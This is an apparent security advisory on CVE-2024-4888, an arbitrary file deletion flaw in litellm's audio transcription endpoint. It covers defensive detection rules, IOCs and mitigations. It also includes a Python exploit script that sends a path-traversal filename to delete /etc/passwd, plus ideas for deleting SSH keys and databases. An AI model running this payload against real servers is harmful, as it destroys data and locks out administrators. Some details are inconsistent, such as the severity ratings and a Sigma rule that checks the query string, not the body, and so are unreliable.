CVE-2024-4888

Executive Summary

CVE-2024-4888 is a critical arbitrary file deletion vulnerability in BerriAI’s litellm, specifically in the /audio/transcriptions endpoint. The flaw arises from improper input validation, allowing an unauthenticated attacker to delete arbitrary files on the server by supplying a crafted file path. The vulnerable code uses os.remove(file.filename) without sanitization, enabling deletion of sensitive files such as SSH keys, SQLite databases, or configuration files. With a CVSS score of 6.5 (Medium), this vulnerability poses a high availability and integrity risk. No official patch is currently available, and exploitation is trivial due to the lack of authentication requirements.

Supply Chain & Package Security

litellm is a Python package distributed via PyPI. This vulnerability directly impacts the supply chain because any application integrating litellm’s audio transcription endpoint inherits the risk. Organizations using litellm in production should immediately audit their deployment for exposure and consider temporary mitigations until a patch is released.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
• Base Score: 6.5 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: High
• Availability Impact: High

Threat Level: High – Exploitation is trivial, no authentication required, and impact includes deletion of critical system files.

Deep Dive & Mechanics

The vulnerability resides in the /audio/transcriptions endpoint of litellm. The endpoint accepts a file upload and processes it using os.remove(file.filename) to delete the temporary file after processing. However, the file.filename is not validated or sanitized, allowing an attacker to supply an arbitrary path (e.g., ../../etc/ssh/sshd_config). The server then executes os.remove() on that path, deleting the targeted file.

Root Cause:

• Improper input validation on the filename parameter.
• Use of os.remove() with user-controlled input without path sanitization.
• No authentication or authorization checks on the endpoint.

Attack Flow:

1. Attacker sends a POST request to /audio/transcriptions with a multipart form containing a file whose filename is set to a target path (e.g., ../../../etc/passwd).
2. The server processes the request and calls os.remove(file.filename).
3. The target file is deleted, causing denial of service or system compromise.

Vulnerable vs. Patched Code

Vulnerable Code (litellm):

# Vulnerable endpoint
@app.route('/audio/transcriptions', methods=['POST'])
def transcribe_audio():
    file = request.files['file']
    # No validation on file.filename
    os.remove(file.filename)  # Arbitrary file deletion
    return "OK"

Patched Code (Hypothetical):

import os
from werkzeug.utils import secure_filename

@app.route('/audio/transcriptions', methods=['POST'])
def transcribe_audio():
    file = request.files['file']
    # Sanitize filename
    safe_filename = secure_filename(file.filename)
    # Use a temporary directory
    temp_path = os.path.join('/tmp/uploads', safe_filename)
    file.save(temp_path)
    # Process file...
    os.remove(temp_path)  # Only delete the safe temp file
    return "OK"

Key Differences:

• Use of secure_filename() to strip path traversal characters.
• Saving file to a controlled temporary directory.
• Deleting only the sanitized temporary file.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running litellm with /audio/transcriptions endpoint exposed.
• No authentication required.

Exploit Script (Python):

import requests

target_url = "http://target:8000/audio/transcriptions"
target_file = "../../../etc/passwd"  # File to delete

# Craft multipart form with malicious filename
files = {
    'file': (target_file, 'dummy content', 'audio/wav')
}

response = requests.post(target_url, files=files)
print(f"Status: {response.status_code}")
print(f"Response: {response.text}")

Expected Outcome:

• The file at the specified path is deleted.
• Server may crash if critical files are removed.

Advanced Exploitation:

• Delete SSH authorized_keys to lock out administrators.
• Delete SQLite databases to cause data loss.
• Delete configuration files to disrupt services.

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor for POST requests to /audio/transcriptions with unusual filenames containing ../ or absolute paths.
2. Alert on os.remove() calls with paths outside expected temporary directories.
3. Use file integrity monitoring (FIM) to detect unexpected deletions.

Mitigation (Temporary):

• Disable the /audio/transcriptions endpoint if not needed.
• Implement a reverse proxy (e.g., Nginx) to block requests with path traversal patterns.
• Apply strict input validation on the filename parameter.

Indicators of Compromise (IOCs)

• Network:

  • POST requests to /audio/transcriptions with filenames containing ../ or /.
  • Unusual HTTP 200 responses to deletion attempts.

• File System:

  • Unexpected deletion of files in /etc/, /var/, or application directories.
  • Missing SSH keys, databases, or config files.

• Logs:

  • Application logs showing os.remove() calls with suspicious paths.
  • System logs indicating file deletion events (e.g., auditd).

Detection Engineering

YARA Rule

rule CVE_2024_4888_Arbitrary_File_Deletion {
    meta:
        description = "Detects litellm arbitrary file deletion via /audio/transcriptions"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-4888"
    strings:
        $s1 = "os.remove(file.filename)" ascii wide nocase
        $s2 = "/audio/transcriptions" ascii wide nocase
        $s3 = "request.files['file']" ascii wide nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-4888 - Arbitrary File Deletion via litellm /audio/transcriptions
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects exploitation attempts of CVE-2024-4888 by monitoring for path traversal in filenames.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/audio/transcriptions'
        cs-uri-query|contains: 
            - '../'
            - '..\\'
            - '/etc/'
            - '/var/'
    condition: selection
falsepositives:
    - Legitimate file uploads with similar patterns (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-4888 - litellm Arbitrary File Deletion Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/audio/transcriptions"; http.client_body; content:"filename"; nocase; pcre:"/filename\s*=\s*\"[^\"]*\.\.\//"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the endpoint: If /audio/transcriptions is not required, remove or disable it.
2. Apply input validation: Sanitize the filename using secure_filename() or similar.
3. Use temporary directories: Save uploaded files to a dedicated temp directory and delete only from there.
4. Implement authentication: Require API keys or tokens for the endpoint.

Long-Term Fix:

• Wait for an official patch from BerriAI.
• Upgrade to a patched version once released.
• Conduct a security audit of all file handling endpoints.

Workaround (Nginx Reverse Proxy):

location /audio/transcriptions {
    # Block requests with path traversal
    if ($request_body ~* "filename.*\.\.") {
        return 403;
    }
    proxy_pass http://litellm_backend;
}

Valters IT
Securing Digital Frontiers